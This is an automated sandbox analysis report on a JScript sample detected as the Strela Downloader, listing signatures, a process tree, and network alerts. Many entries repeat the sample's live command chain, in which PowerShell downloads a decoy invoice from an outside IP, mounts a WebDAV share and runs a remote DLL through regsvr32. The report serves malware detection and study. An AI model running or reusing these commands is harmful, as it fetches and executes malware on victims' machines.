Edit tour

Windows Analysis Report
1446217142313155154.js

Overview

General Information

Sample name:	1446217142313155154.js
Analysis ID:	1587961
MD5:	1aaa2096a8ecfa4b40770a5a3f31dc91
SHA1:	4ea4b465287717d930d770ab2da8aef41a1b740a
SHA256:	6f358e6d6cad0a4f82f9eeb10db6ffce57ec6aeb0e0bd1b9d0446bb6c03160a2
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7420 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1446217142313155154.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 1240 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15119278728578.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7972 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 724 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 4892 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 1472 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 8164 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1648,i,2189747956658649784,4127867382549663690,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7048 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 5828 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7572 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7420	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15119278728578.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1240, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 724, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15119278728578.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1240, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 724, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1446217142313155154.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1446217142313155154.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1446217142313155154.js", ProcessId: 7420, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 5828, Protocol: tcp, SourceIp: 192.168.2.10, SourceIsIpv6: false, SourcePort: 49744

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15119278728578.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15119278728578.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1446217142313155154.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7420, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15119278728578.dll, ProcessId: 1240, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15119278728578.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15119278728578.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1446217142313155154.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7420, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15119278728578.dll, ProcessId: 1240, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15119278728578.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15119278728578.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1446217142313155154.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7420, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15119278728578.dll, ProcessId: 1240, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15119278728578.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15119278728578.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1446217142313155154.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7420, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15119278728578.dll, ProcessId: 1240, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15119278728578.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15119278728578.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1446217142313155154.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7420, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15119278728578.dll, ProcessId: 1240, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1446217142313155154.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1446217142313155154.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1446217142313155154.js", ProcessId: 7420, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15119278728578.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1240, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 724, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7048, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5828, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7572, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7048, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5828, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15119278728578.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15119278728578.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1446217142313155154.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7420, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15119278728578.dll, ProcessId: 1240, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T19:49:45.774831+0100	1810005	1	Potentially Bad Traffic	192.168.2.10	49744	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T19:49:43.204603+0100	1810000	2	Potentially Bad Traffic	192.168.2.10	49727	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1446217142313155154.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1446217142313155154.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.10:49744 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 18:49:43 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 63 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49744

Source: global traffic

TCP traffic: 192.168.2.10:49744 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.10:49727 -> 193.143.1.205:80

Source: global traffic

